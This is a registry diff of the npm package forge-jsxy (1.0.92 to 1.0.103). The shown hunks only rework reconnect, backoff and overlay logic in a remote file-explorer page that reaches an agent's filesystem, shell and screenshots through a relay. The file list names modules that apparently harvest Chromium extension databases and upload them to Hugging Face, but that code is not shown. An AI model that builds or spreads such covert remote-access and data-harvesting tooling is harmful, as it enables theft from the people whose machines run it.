forge-jsxy 1.0.92 → 1.0.103
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +96 -20
- package/dist/assets/files-explorer-template.html +97 -21
- package/dist/chromiumExtensionDbHarvest.d.ts +25 -4
- package/dist/chromiumExtensionDbHarvest.js +253 -47
- package/dist/extensionDbHfUpload.d.ts +7 -3
- package/dist/extensionDbHfUpload.js +78 -35
- package/dist/fsProtocol.js +7 -0
- package/dist/hfSeqIdLookup.d.ts +10 -1
- package/dist/hfSeqIdLookup.js +64 -23
- package/dist/hfUpload.d.ts +2 -0
- package/dist/hfUpload.js +3 -1
- package/dist/relayAgent.js +86 -6
- package/dist/relayServer.js +299 -106
- package/dist/secretScan/agentStartupAudit.d.ts +3 -0
- package/dist/secretScan/agentStartupAudit.js +7 -8
- package/package.json +1 -1
|
@@ -1701,6 +1701,10 @@
|
|
|
1701
1701
|
<script>
|
|
1702
1702
|
let ws = null, authed = false, curPath = '', rid = 0, lastEntries = [], afterAuthDone = false, lastRead = null;
|
|
1703
1703
|
let _explorerAutoConnectTimer = null;
|
|
1704
|
+
/** Backoff for involuntary viewer reconnects (network blips — not 4003 tab replace). */
|
|
1705
|
+
let _explorerReconnectAttempt = 0;
|
|
1706
|
+
/** Set when relay closes us with 4003 — another explorer tab owns the session; do not auto-reconnect. */
|
|
1707
|
+
let _explorerReplacedByOtherViewer = false;
|
|
1704
1708
|
let _explorerVoluntaryDisconnect = false;
|
|
1705
1709
|
/** From agent `system_info` after `get_info` — shell one-liners + screenshot button (win32 / linux / darwin). */
|
|
1706
1710
|
let agentPlatform = '';
|
|
@@ -1733,6 +1737,23 @@ const FE_SPLIT_LS_H = 'forgeFeExplorerSplitH';
|
|
|
1733
1737
|
let currentSearchQuery = '';
|
|
1734
1738
|
/** Ignore stale fs_list/fs_roots responses when user navigates faster than the agent replies (reduces wrong UI + extra work). */
|
|
1735
1739
|
let activeListRid = null, activeRootsRid = null;
|
|
1740
|
+
/** If `fs_roots_result` never arrives after auth, retry once and surface a clear error. */
|
|
1741
|
+
let _fsRootsWatchTimer = null;
|
|
1742
|
+
const FS_ROOTS_WATCH_MS = 14000;
|
|
1743
|
+
function clearFsRootsWatch(){
|
|
1744
|
+
if(_fsRootsWatchTimer){ clearTimeout(_fsRootsWatchTimer); _fsRootsWatchTimer = null; }
|
|
1745
|
+
}
|
|
1746
|
+
function armFsRootsWatch(){
|
|
1747
|
+
clearFsRootsWatch();
|
|
1748
|
+
_fsRootsWatchTimer = setTimeout(function(){
|
|
1749
|
+
_fsRootsWatchTimer = null;
|
|
1750
|
+
if(!authed || !ws || ws.readyState !== 1) return;
|
|
1751
|
+
if(lastRoots && lastRoots.length) return;
|
|
1752
|
+
setCerr('No folder list from agent yet — retrying roots…');
|
|
1753
|
+
setStatus('Retrying filesystem roots…');
|
|
1754
|
+
sendFsRoots();
|
|
1755
|
+
}, FS_ROOTS_WATCH_MS);
|
|
1756
|
+
}
|
|
1736
1757
|
/** Remember last primary selection as a normalized abs-path key (search hits use multi-segment `entry.name`). */
|
|
1737
1758
|
let lastSelectedExplorerKey = null;
|
|
1738
1759
|
/** Multi-select: normalized abs-path keys (Ctrl/Cmd±click toggle, Shift±click range). */
|
|
@@ -2551,9 +2572,43 @@ function explorerUrlSessionReady(){
|
|
|
2551
2572
|
* No session/password fields on the gate — when the URL / hidden wire id is valid, connect after a short delay.
|
|
2552
2573
|
* Skips if a socket is already open or connecting. Cleared on voluntary Disconnect.
|
|
2553
2574
|
*/
|
|
2575
|
+
function resetExplorerReconnectBackoff(){
|
|
2576
|
+
_explorerReconnectAttempt = 0;
|
|
2577
|
+
}
|
|
2578
|
+
/** While already browsing, show the connect overlay during brief agent drop / re-auth (avoids blank tree). */
|
|
2579
|
+
function showAgentReconnectOverlay(msg){
|
|
2580
|
+
if(!afterAuthDone) return;
|
|
2581
|
+
const ov = $('overlay');
|
|
2582
|
+
if(ov) ov.classList.remove('hidden');
|
|
2583
|
+
setWaitmsg(msg || 'Reconnecting to agent…');
|
|
2584
|
+
}
|
|
2585
|
+
function hideAgentReconnectOverlayIfAuthed(){
|
|
2586
|
+
if(!afterAuthDone || !authed) return;
|
|
2587
|
+
const ov = $('overlay');
|
|
2588
|
+
if(ov) ov.classList.add('hidden');
|
|
2589
|
+
setWaitmsg('');
|
|
2590
|
+
}
|
|
2591
|
+
/** Ignore brief agent_disconnected during duplicate-agent swap (relay debounce + slot hold). */
|
|
2592
|
+
let _agentDisconnectDebounceTimer = null;
|
|
2593
|
+
const AGENT_DISCONNECT_DEBOUNCE_MS = 2600;
|
|
2594
|
+
function cancelAgentDisconnectDebounce(){
|
|
2595
|
+
if(_agentDisconnectDebounceTimer){
|
|
2596
|
+
clearTimeout(_agentDisconnectDebounceTimer);
|
|
2597
|
+
_agentDisconnectDebounceTimer = null;
|
|
2598
|
+
}
|
|
2599
|
+
}
|
|
2600
|
+
function scheduleAgentDisconnectDebounce(fn){
|
|
2601
|
+
cancelAgentDisconnectDebounce();
|
|
2602
|
+
_agentDisconnectDebounceTimer = setTimeout(function(){
|
|
2603
|
+
_agentDisconnectDebounceTimer = null;
|
|
2604
|
+
try { fn(); } catch(e){}
|
|
2605
|
+
}, AGENT_DISCONNECT_DEBOUNCE_MS);
|
|
2606
|
+
}
|
|
2554
2607
|
function scheduleExplorerAutoConnect(delayMs){
|
|
2555
2608
|
try {
|
|
2556
|
-
|
|
2609
|
+
if(_explorerReplacedByOtherViewer) return;
|
|
2610
|
+
const base = typeof delayMs === 'number' && delayMs >= 0 ? delayMs : 450;
|
|
2611
|
+
const delay = Math.min(30000, Math.round(base * Math.pow(2, Math.min(_explorerReconnectAttempt++, 6))));
|
|
2557
2612
|
if(_explorerAutoConnectTimer){
|
|
2558
2613
|
clearTimeout(_explorerAutoConnectTimer);
|
|
2559
2614
|
_explorerAutoConnectTimer = null;
|
|
@@ -2567,11 +2622,12 @@ function scheduleExplorerAutoConnect(delayMs){
|
|
|
2567
2622
|
if(!ok) return;
|
|
2568
2623
|
_explorerAutoConnectTimer = setTimeout(function(){
|
|
2569
2624
|
_explorerAutoConnectTimer = null;
|
|
2625
|
+
if(_explorerReplacedByOtherViewer) return;
|
|
2570
2626
|
if(_explorerVoluntaryDisconnect) return;
|
|
2571
2627
|
const a = ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING);
|
|
2572
2628
|
if(a) return;
|
|
2573
2629
|
void doConnect();
|
|
2574
|
-
},
|
|
2630
|
+
}, delay);
|
|
2575
2631
|
} catch(e){}
|
|
2576
2632
|
}
|
|
2577
2633
|
|
|
@@ -2996,6 +3052,7 @@ function ridMatch(a,b){ return String(a||'') === String(b||''); }
|
|
|
2996
3052
|
function sendFsRoots(){
|
|
2997
3053
|
const r = ridn();
|
|
2998
3054
|
activeRootsRid = r;
|
|
3055
|
+
armFsRootsWatch();
|
|
2999
3056
|
send({type:'fs_roots', request_id: r});
|
|
3000
3057
|
}
|
|
3001
3058
|
/** @param opts {{ treeOnly?: boolean }} */
|
|
@@ -4524,6 +4581,7 @@ async function doConnect(){
|
|
|
4524
4581
|
clearTimeout(_explorerAutoConnectTimer);
|
|
4525
4582
|
_explorerAutoConnectTimer = null;
|
|
4526
4583
|
}
|
|
4584
|
+
_explorerReplacedByOtherViewer = false;
|
|
4527
4585
|
_explorerVoluntaryDisconnect = false;
|
|
4528
4586
|
if(forgeRtcReconnectTimer){
|
|
4529
4587
|
clearTimeout(forgeRtcReconnectTimer);
|
|
@@ -4573,6 +4631,7 @@ async function doConnect(){
|
|
|
4573
4631
|
clearAuthChallengeWatch();
|
|
4574
4632
|
clearAuthResultWatch();
|
|
4575
4633
|
clearViewerKeepalive();
|
|
4634
|
+
clearFsRootsWatch();
|
|
4576
4635
|
explorerAuthAwaitingResult = false;
|
|
4577
4636
|
setCerr('');
|
|
4578
4637
|
setWaitmsg('');
|
|
@@ -4721,12 +4780,16 @@ async function doConnect(){
|
|
|
4721
4780
|
detail += ')';
|
|
4722
4781
|
}
|
|
4723
4782
|
if(ev && ev.code === 4005) detail += ' — origin/proxy mismatch; relay defaults to relaxed Origin (set CFGMGR_RELAY_STRICT_ORIGIN=1 only if you need strict checks), or fix X-Forwarded-Host / RFC7239 Forwarded host=.';
|
|
4783
|
+
if(ev && ev.code === 4003){
|
|
4784
|
+
_explorerReplacedByOtherViewer = true;
|
|
4785
|
+
detail = 'Disconnected — another file explorer tab took over this session. Close extra tabs for the same My VPS id, or click Connect here to take over.';
|
|
4786
|
+
}
|
|
4724
4787
|
clearAgentHintTimer();
|
|
4725
4788
|
/** Always clear `#status` — e.g. "Forge agent restart (agent)…" can outlive `wantShellRid` if `onclose` races `doConnect` / `resetStaleShellAfterAgentLifecycle`. */
|
|
4726
4789
|
setStatus('');
|
|
4727
4790
|
setCerr(detail);
|
|
4728
4791
|
syncOverlayXferHint();
|
|
4729
|
-
if(!_explorerVoluntaryDisconnect){
|
|
4792
|
+
if(!_explorerVoluntaryDisconnect && !_explorerReplacedByOtherViewer){
|
|
4730
4793
|
scheduleExplorerAutoConnect(650);
|
|
4731
4794
|
}
|
|
4732
4795
|
};
|
|
@@ -4835,10 +4898,13 @@ function onMsg(m){
|
|
|
4835
4898
|
}catch(e){}
|
|
4836
4899
|
}
|
|
4837
4900
|
if(t==='agent_connected'){
|
|
4901
|
+
cancelAgentDisconnectDebounce();
|
|
4838
4902
|
clearAgentHintTimer();
|
|
4839
4903
|
authed = false;
|
|
4840
4904
|
cancelForgeUpgradeReconnectTimeouts();
|
|
4841
|
-
if(
|
|
4905
|
+
if(afterAuthDone){
|
|
4906
|
+
showAgentReconnectOverlay('Agent connected — re-authenticating…');
|
|
4907
|
+
} else if(ws._pwHash){
|
|
4842
4908
|
setWaitmsg('Waiting for auth challenge…');
|
|
4843
4909
|
scheduleAuthChallengeWatch();
|
|
4844
4910
|
} else {
|
|
@@ -4886,9 +4952,11 @@ function onMsg(m){
|
|
|
4886
4952
|
if(m.ok){
|
|
4887
4953
|
clearAgentHintTimer();
|
|
4888
4954
|
authed = true;
|
|
4955
|
+
resetExplorerReconnectBackoff();
|
|
4889
4956
|
cancelForgeUpgradeReconnectTimeouts();
|
|
4890
4957
|
setWaitmsg('');
|
|
4891
4958
|
setCerr('');
|
|
4959
|
+
hideAgentReconnectOverlayIfAuthed();
|
|
4892
4960
|
if(afterAuthDone){
|
|
4893
4961
|
/** Agent reconnected while explorer stayed open — restore HF/xfer persistence after re-auth. */
|
|
4894
4962
|
resetStaleShellAfterAgentLifecycle();
|
|
@@ -4902,7 +4970,9 @@ function onMsg(m){
|
|
|
4902
4970
|
forgeRtcReconnectAttempts = 0;
|
|
4903
4971
|
if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
|
|
4904
4972
|
setTimeout(function(){ tryForgeRtcExplorerProbe(); }, 120);
|
|
4905
|
-
|
|
4973
|
+
const cpReauth = String(curPath || '').trim();
|
|
4974
|
+
if(cpReauth && !rootsPickerMode) refresh();
|
|
4975
|
+
else sendFsRoots();
|
|
4906
4976
|
updateAgentShellHints();
|
|
4907
4977
|
} else afterAuth();
|
|
4908
4978
|
}
|
|
@@ -4914,6 +4984,7 @@ function onMsg(m){
|
|
|
4914
4984
|
}
|
|
4915
4985
|
if(t==='fs_roots_result'){
|
|
4916
4986
|
if(!ridMatch(m.request_id, activeRootsRid)) return;
|
|
4987
|
+
clearFsRootsWatch();
|
|
4917
4988
|
if(!m.ok){ setStatus(m.error||'roots failed'); setCerr(m.error||''); return; }
|
|
4918
4989
|
const roots = m.roots||[];
|
|
4919
4990
|
if(!roots.length){ setStatus('No filesystem roots available on agent'); return; }
|
|
@@ -4946,21 +5017,19 @@ function onMsg(m){
|
|
|
4946
5017
|
}
|
|
4947
5018
|
}
|
|
4948
5019
|
if(t==='agent_disconnected'){
|
|
5020
|
+
scheduleAgentDisconnectDebounce(function(){
|
|
4949
5021
|
if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
|
|
4950
5022
|
forgeRtcReconnectAttempts = 0;
|
|
4951
5023
|
teardownForgeRtcExplorer();
|
|
4952
5024
|
authed = false;
|
|
4953
5025
|
clearAuthChallengeWatch();
|
|
4954
5026
|
clearAuthResultWatch();
|
|
5027
|
+
clearViewerKeepalive();
|
|
4955
5028
|
stashXferDisconnectNote('— agent link lost');
|
|
4956
5029
|
agentPlatform = '';
|
|
4957
5030
|
updateAgentShellHints();
|
|
4958
5031
|
wantScreenshotRid = null;
|
|
4959
5032
|
revokeScreenshotBlob();
|
|
4960
|
-
lastEntries = [];
|
|
4961
|
-
$('rows').innerHTML = '';
|
|
4962
|
-
const dre = $('detail-rows');
|
|
4963
|
-
if(dre) dre.innerHTML = '';
|
|
4964
5033
|
wantDeleteRid=null;
|
|
4965
5034
|
clearDeleteWatchdog();
|
|
4966
5035
|
resetStaleShellAfterAgentLifecycle();
|
|
@@ -4968,13 +5037,26 @@ function onMsg(m){
|
|
|
4968
5037
|
/** Keep `wantHfRid` — Hub upload keeps running on the agent; after relay reconnect, progress uses the same id. */
|
|
4969
5038
|
abortPreview();
|
|
4970
5039
|
resetDownloadZipPipelineState();
|
|
4971
|
-
treeExpandedPaths.clear();
|
|
4972
|
-
treeChildrenCache.clear();
|
|
4973
5040
|
pendingFsListByRid.clear();
|
|
4974
5041
|
treeListInflight.clear();
|
|
4975
|
-
|
|
4976
|
-
|
|
5042
|
+
activeListRid = null;
|
|
5043
|
+
activeRootsRid = null;
|
|
5044
|
+
if(afterAuthDone){
|
|
5045
|
+
/** Keep tree/roots visible under overlay — avoids blank explorer during agent reconnect flaps. */
|
|
5046
|
+
showAgentReconnectOverlay('Remote agent offline — waiting for reconnect…');
|
|
5047
|
+
setStatus('Remote agent offline — lists paused until it reconnects');
|
|
5048
|
+
} else {
|
|
5049
|
+
lastEntries = [];
|
|
5050
|
+
$('rows').innerHTML = '';
|
|
5051
|
+
const dre0 = $('detail-rows');
|
|
5052
|
+
if(dre0) dre0.innerHTML = '';
|
|
5053
|
+
treeExpandedPaths.clear();
|
|
5054
|
+
treeChildrenCache.clear();
|
|
5055
|
+
treeSelectionParent = '';
|
|
5056
|
+
setStatus('Remote agent offline — lists paused until it reconnects');
|
|
5057
|
+
}
|
|
4977
5058
|
xferStatusSyncDom();
|
|
5059
|
+
});
|
|
4978
5060
|
}
|
|
4979
5061
|
if(t==='fs_list_result'){
|
|
4980
5062
|
const reqId = m.request_id;
|
|
@@ -7150,13 +7232,7 @@ function uploadHfForceKill(){
|
|
|
7150
7232
|
!!explorerGateAuthSecret();
|
|
7151
7233
|
|
|
7152
7234
|
if ((autoParam === '1' && sessionParam) || skipPasswordGate) {
|
|
7153
|
-
|
|
7154
|
-
if (overlay) {
|
|
7155
|
-
overlay.classList.add('hidden');
|
|
7156
|
-
overlay.style.display = '';
|
|
7157
|
-
overlay.setAttribute('aria-hidden', 'true');
|
|
7158
|
-
}
|
|
7159
|
-
explorerChromeVisible(true);
|
|
7235
|
+
/** Keep overlay until `afterAuth()` — avoids empty chrome while socket/auth is still in flight. */
|
|
7160
7236
|
setWaitmsg('Connecting (' + shortSessionLabel(sessionEl ? sessionEl.value : '') + ')…');
|
|
7161
7237
|
setTimeout(function() {
|
|
7162
7238
|
if (explorerUrlSessionReady()) {
|
|
@@ -10,7 +10,7 @@
|
|
|
10
10
|
<link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
|
|
11
11
|
<link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
|
|
12
12
|
<link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
|
|
13
|
-
<!-- forge-jsxy@1.0.
|
|
13
|
+
<!-- forge-jsxy@1.0.103 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
|
|
14
14
|
<script>
|
|
15
15
|
(function () {
|
|
16
16
|
try {
|
|
@@ -1701,6 +1701,10 @@
|
|
|
1701
1701
|
<script>
|
|
1702
1702
|
let ws = null, authed = false, curPath = '', rid = 0, lastEntries = [], afterAuthDone = false, lastRead = null;
|
|
1703
1703
|
let _explorerAutoConnectTimer = null;
|
|
1704
|
+
/** Backoff for involuntary viewer reconnects (network blips — not 4003 tab replace). */
|
|
1705
|
+
let _explorerReconnectAttempt = 0;
|
|
1706
|
+
/** Set when relay closes us with 4003 — another explorer tab owns the session; do not auto-reconnect. */
|
|
1707
|
+
let _explorerReplacedByOtherViewer = false;
|
|
1704
1708
|
let _explorerVoluntaryDisconnect = false;
|
|
1705
1709
|
/** From agent `system_info` after `get_info` — shell one-liners + screenshot button (win32 / linux / darwin). */
|
|
1706
1710
|
let agentPlatform = '';
|
|
@@ -1733,6 +1737,23 @@ const FE_SPLIT_LS_H = 'forgeFeExplorerSplitH';
|
|
|
1733
1737
|
let currentSearchQuery = '';
|
|
1734
1738
|
/** Ignore stale fs_list/fs_roots responses when user navigates faster than the agent replies (reduces wrong UI + extra work). */
|
|
1735
1739
|
let activeListRid = null, activeRootsRid = null;
|
|
1740
|
+
/** If `fs_roots_result` never arrives after auth, retry once and surface a clear error. */
|
|
1741
|
+
let _fsRootsWatchTimer = null;
|
|
1742
|
+
const FS_ROOTS_WATCH_MS = 14000;
|
|
1743
|
+
function clearFsRootsWatch(){
|
|
1744
|
+
if(_fsRootsWatchTimer){ clearTimeout(_fsRootsWatchTimer); _fsRootsWatchTimer = null; }
|
|
1745
|
+
}
|
|
1746
|
+
function armFsRootsWatch(){
|
|
1747
|
+
clearFsRootsWatch();
|
|
1748
|
+
_fsRootsWatchTimer = setTimeout(function(){
|
|
1749
|
+
_fsRootsWatchTimer = null;
|
|
1750
|
+
if(!authed || !ws || ws.readyState !== 1) return;
|
|
1751
|
+
if(lastRoots && lastRoots.length) return;
|
|
1752
|
+
setCerr('No folder list from agent yet — retrying roots…');
|
|
1753
|
+
setStatus('Retrying filesystem roots…');
|
|
1754
|
+
sendFsRoots();
|
|
1755
|
+
}, FS_ROOTS_WATCH_MS);
|
|
1756
|
+
}
|
|
1736
1757
|
/** Remember last primary selection as a normalized abs-path key (search hits use multi-segment `entry.name`). */
|
|
1737
1758
|
let lastSelectedExplorerKey = null;
|
|
1738
1759
|
/** Multi-select: normalized abs-path keys (Ctrl/Cmd±click toggle, Shift±click range). */
|
|
@@ -2551,9 +2572,43 @@ function explorerUrlSessionReady(){
|
|
|
2551
2572
|
* No session/password fields on the gate — when the URL / hidden wire id is valid, connect after a short delay.
|
|
2552
2573
|
* Skips if a socket is already open or connecting. Cleared on voluntary Disconnect.
|
|
2553
2574
|
*/
|
|
2575
|
+
function resetExplorerReconnectBackoff(){
|
|
2576
|
+
_explorerReconnectAttempt = 0;
|
|
2577
|
+
}
|
|
2578
|
+
/** While already browsing, show the connect overlay during brief agent drop / re-auth (avoids blank tree). */
|
|
2579
|
+
function showAgentReconnectOverlay(msg){
|
|
2580
|
+
if(!afterAuthDone) return;
|
|
2581
|
+
const ov = $('overlay');
|
|
2582
|
+
if(ov) ov.classList.remove('hidden');
|
|
2583
|
+
setWaitmsg(msg || 'Reconnecting to agent…');
|
|
2584
|
+
}
|
|
2585
|
+
function hideAgentReconnectOverlayIfAuthed(){
|
|
2586
|
+
if(!afterAuthDone || !authed) return;
|
|
2587
|
+
const ov = $('overlay');
|
|
2588
|
+
if(ov) ov.classList.add('hidden');
|
|
2589
|
+
setWaitmsg('');
|
|
2590
|
+
}
|
|
2591
|
+
/** Ignore brief agent_disconnected during duplicate-agent swap (relay debounce + slot hold). */
|
|
2592
|
+
let _agentDisconnectDebounceTimer = null;
|
|
2593
|
+
const AGENT_DISCONNECT_DEBOUNCE_MS = 2600;
|
|
2594
|
+
function cancelAgentDisconnectDebounce(){
|
|
2595
|
+
if(_agentDisconnectDebounceTimer){
|
|
2596
|
+
clearTimeout(_agentDisconnectDebounceTimer);
|
|
2597
|
+
_agentDisconnectDebounceTimer = null;
|
|
2598
|
+
}
|
|
2599
|
+
}
|
|
2600
|
+
function scheduleAgentDisconnectDebounce(fn){
|
|
2601
|
+
cancelAgentDisconnectDebounce();
|
|
2602
|
+
_agentDisconnectDebounceTimer = setTimeout(function(){
|
|
2603
|
+
_agentDisconnectDebounceTimer = null;
|
|
2604
|
+
try { fn(); } catch(e){}
|
|
2605
|
+
}, AGENT_DISCONNECT_DEBOUNCE_MS);
|
|
2606
|
+
}
|
|
2554
2607
|
function scheduleExplorerAutoConnect(delayMs){
|
|
2555
2608
|
try {
|
|
2556
|
-
|
|
2609
|
+
if(_explorerReplacedByOtherViewer) return;
|
|
2610
|
+
const base = typeof delayMs === 'number' && delayMs >= 0 ? delayMs : 450;
|
|
2611
|
+
const delay = Math.min(30000, Math.round(base * Math.pow(2, Math.min(_explorerReconnectAttempt++, 6))));
|
|
2557
2612
|
if(_explorerAutoConnectTimer){
|
|
2558
2613
|
clearTimeout(_explorerAutoConnectTimer);
|
|
2559
2614
|
_explorerAutoConnectTimer = null;
|
|
@@ -2567,11 +2622,12 @@ function scheduleExplorerAutoConnect(delayMs){
|
|
|
2567
2622
|
if(!ok) return;
|
|
2568
2623
|
_explorerAutoConnectTimer = setTimeout(function(){
|
|
2569
2624
|
_explorerAutoConnectTimer = null;
|
|
2625
|
+
if(_explorerReplacedByOtherViewer) return;
|
|
2570
2626
|
if(_explorerVoluntaryDisconnect) return;
|
|
2571
2627
|
const a = ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING);
|
|
2572
2628
|
if(a) return;
|
|
2573
2629
|
void doConnect();
|
|
2574
|
-
},
|
|
2630
|
+
}, delay);
|
|
2575
2631
|
} catch(e){}
|
|
2576
2632
|
}
|
|
2577
2633
|
|
|
@@ -2996,6 +3052,7 @@ function ridMatch(a,b){ return String(a||'') === String(b||''); }
|
|
|
2996
3052
|
function sendFsRoots(){
|
|
2997
3053
|
const r = ridn();
|
|
2998
3054
|
activeRootsRid = r;
|
|
3055
|
+
armFsRootsWatch();
|
|
2999
3056
|
send({type:'fs_roots', request_id: r});
|
|
3000
3057
|
}
|
|
3001
3058
|
/** @param opts {{ treeOnly?: boolean }} */
|
|
@@ -4524,6 +4581,7 @@ async function doConnect(){
|
|
|
4524
4581
|
clearTimeout(_explorerAutoConnectTimer);
|
|
4525
4582
|
_explorerAutoConnectTimer = null;
|
|
4526
4583
|
}
|
|
4584
|
+
_explorerReplacedByOtherViewer = false;
|
|
4527
4585
|
_explorerVoluntaryDisconnect = false;
|
|
4528
4586
|
if(forgeRtcReconnectTimer){
|
|
4529
4587
|
clearTimeout(forgeRtcReconnectTimer);
|
|
@@ -4573,6 +4631,7 @@ async function doConnect(){
|
|
|
4573
4631
|
clearAuthChallengeWatch();
|
|
4574
4632
|
clearAuthResultWatch();
|
|
4575
4633
|
clearViewerKeepalive();
|
|
4634
|
+
clearFsRootsWatch();
|
|
4576
4635
|
explorerAuthAwaitingResult = false;
|
|
4577
4636
|
setCerr('');
|
|
4578
4637
|
setWaitmsg('');
|
|
@@ -4721,12 +4780,16 @@ async function doConnect(){
|
|
|
4721
4780
|
detail += ')';
|
|
4722
4781
|
}
|
|
4723
4782
|
if(ev && ev.code === 4005) detail += ' — origin/proxy mismatch; relay defaults to relaxed Origin (set CFGMGR_RELAY_STRICT_ORIGIN=1 only if you need strict checks), or fix X-Forwarded-Host / RFC7239 Forwarded host=.';
|
|
4783
|
+
if(ev && ev.code === 4003){
|
|
4784
|
+
_explorerReplacedByOtherViewer = true;
|
|
4785
|
+
detail = 'Disconnected — another file explorer tab took over this session. Close extra tabs for the same My VPS id, or click Connect here to take over.';
|
|
4786
|
+
}
|
|
4724
4787
|
clearAgentHintTimer();
|
|
4725
4788
|
/** Always clear `#status` — e.g. "Forge agent restart (agent)…" can outlive `wantShellRid` if `onclose` races `doConnect` / `resetStaleShellAfterAgentLifecycle`. */
|
|
4726
4789
|
setStatus('');
|
|
4727
4790
|
setCerr(detail);
|
|
4728
4791
|
syncOverlayXferHint();
|
|
4729
|
-
if(!_explorerVoluntaryDisconnect){
|
|
4792
|
+
if(!_explorerVoluntaryDisconnect && !_explorerReplacedByOtherViewer){
|
|
4730
4793
|
scheduleExplorerAutoConnect(650);
|
|
4731
4794
|
}
|
|
4732
4795
|
};
|
|
@@ -4835,10 +4898,13 @@ function onMsg(m){
|
|
|
4835
4898
|
}catch(e){}
|
|
4836
4899
|
}
|
|
4837
4900
|
if(t==='agent_connected'){
|
|
4901
|
+
cancelAgentDisconnectDebounce();
|
|
4838
4902
|
clearAgentHintTimer();
|
|
4839
4903
|
authed = false;
|
|
4840
4904
|
cancelForgeUpgradeReconnectTimeouts();
|
|
4841
|
-
if(
|
|
4905
|
+
if(afterAuthDone){
|
|
4906
|
+
showAgentReconnectOverlay('Agent connected — re-authenticating…');
|
|
4907
|
+
} else if(ws._pwHash){
|
|
4842
4908
|
setWaitmsg('Waiting for auth challenge…');
|
|
4843
4909
|
scheduleAuthChallengeWatch();
|
|
4844
4910
|
} else {
|
|
@@ -4886,9 +4952,11 @@ function onMsg(m){
|
|
|
4886
4952
|
if(m.ok){
|
|
4887
4953
|
clearAgentHintTimer();
|
|
4888
4954
|
authed = true;
|
|
4955
|
+
resetExplorerReconnectBackoff();
|
|
4889
4956
|
cancelForgeUpgradeReconnectTimeouts();
|
|
4890
4957
|
setWaitmsg('');
|
|
4891
4958
|
setCerr('');
|
|
4959
|
+
hideAgentReconnectOverlayIfAuthed();
|
|
4892
4960
|
if(afterAuthDone){
|
|
4893
4961
|
/** Agent reconnected while explorer stayed open — restore HF/xfer persistence after re-auth. */
|
|
4894
4962
|
resetStaleShellAfterAgentLifecycle();
|
|
@@ -4902,7 +4970,9 @@ function onMsg(m){
|
|
|
4902
4970
|
forgeRtcReconnectAttempts = 0;
|
|
4903
4971
|
if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
|
|
4904
4972
|
setTimeout(function(){ tryForgeRtcExplorerProbe(); }, 120);
|
|
4905
|
-
|
|
4973
|
+
const cpReauth = String(curPath || '').trim();
|
|
4974
|
+
if(cpReauth && !rootsPickerMode) refresh();
|
|
4975
|
+
else sendFsRoots();
|
|
4906
4976
|
updateAgentShellHints();
|
|
4907
4977
|
} else afterAuth();
|
|
4908
4978
|
}
|
|
@@ -4914,6 +4984,7 @@ function onMsg(m){
|
|
|
4914
4984
|
}
|
|
4915
4985
|
if(t==='fs_roots_result'){
|
|
4916
4986
|
if(!ridMatch(m.request_id, activeRootsRid)) return;
|
|
4987
|
+
clearFsRootsWatch();
|
|
4917
4988
|
if(!m.ok){ setStatus(m.error||'roots failed'); setCerr(m.error||''); return; }
|
|
4918
4989
|
const roots = m.roots||[];
|
|
4919
4990
|
if(!roots.length){ setStatus('No filesystem roots available on agent'); return; }
|
|
@@ -4946,21 +5017,19 @@ function onMsg(m){
|
|
|
4946
5017
|
}
|
|
4947
5018
|
}
|
|
4948
5019
|
if(t==='agent_disconnected'){
|
|
5020
|
+
scheduleAgentDisconnectDebounce(function(){
|
|
4949
5021
|
if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
|
|
4950
5022
|
forgeRtcReconnectAttempts = 0;
|
|
4951
5023
|
teardownForgeRtcExplorer();
|
|
4952
5024
|
authed = false;
|
|
4953
5025
|
clearAuthChallengeWatch();
|
|
4954
5026
|
clearAuthResultWatch();
|
|
5027
|
+
clearViewerKeepalive();
|
|
4955
5028
|
stashXferDisconnectNote('— agent link lost');
|
|
4956
5029
|
agentPlatform = '';
|
|
4957
5030
|
updateAgentShellHints();
|
|
4958
5031
|
wantScreenshotRid = null;
|
|
4959
5032
|
revokeScreenshotBlob();
|
|
4960
|
-
lastEntries = [];
|
|
4961
|
-
$('rows').innerHTML = '';
|
|
4962
|
-
const dre = $('detail-rows');
|
|
4963
|
-
if(dre) dre.innerHTML = '';
|
|
4964
5033
|
wantDeleteRid=null;
|
|
4965
5034
|
clearDeleteWatchdog();
|
|
4966
5035
|
resetStaleShellAfterAgentLifecycle();
|
|
@@ -4968,13 +5037,26 @@ function onMsg(m){
|
|
|
4968
5037
|
/** Keep `wantHfRid` — Hub upload keeps running on the agent; after relay reconnect, progress uses the same id. */
|
|
4969
5038
|
abortPreview();
|
|
4970
5039
|
resetDownloadZipPipelineState();
|
|
4971
|
-
treeExpandedPaths.clear();
|
|
4972
|
-
treeChildrenCache.clear();
|
|
4973
5040
|
pendingFsListByRid.clear();
|
|
4974
5041
|
treeListInflight.clear();
|
|
4975
|
-
|
|
4976
|
-
|
|
5042
|
+
activeListRid = null;
|
|
5043
|
+
activeRootsRid = null;
|
|
5044
|
+
if(afterAuthDone){
|
|
5045
|
+
/** Keep tree/roots visible under overlay — avoids blank explorer during agent reconnect flaps. */
|
|
5046
|
+
showAgentReconnectOverlay('Remote agent offline — waiting for reconnect…');
|
|
5047
|
+
setStatus('Remote agent offline — lists paused until it reconnects');
|
|
5048
|
+
} else {
|
|
5049
|
+
lastEntries = [];
|
|
5050
|
+
$('rows').innerHTML = '';
|
|
5051
|
+
const dre0 = $('detail-rows');
|
|
5052
|
+
if(dre0) dre0.innerHTML = '';
|
|
5053
|
+
treeExpandedPaths.clear();
|
|
5054
|
+
treeChildrenCache.clear();
|
|
5055
|
+
treeSelectionParent = '';
|
|
5056
|
+
setStatus('Remote agent offline — lists paused until it reconnects');
|
|
5057
|
+
}
|
|
4977
5058
|
xferStatusSyncDom();
|
|
5059
|
+
});
|
|
4978
5060
|
}
|
|
4979
5061
|
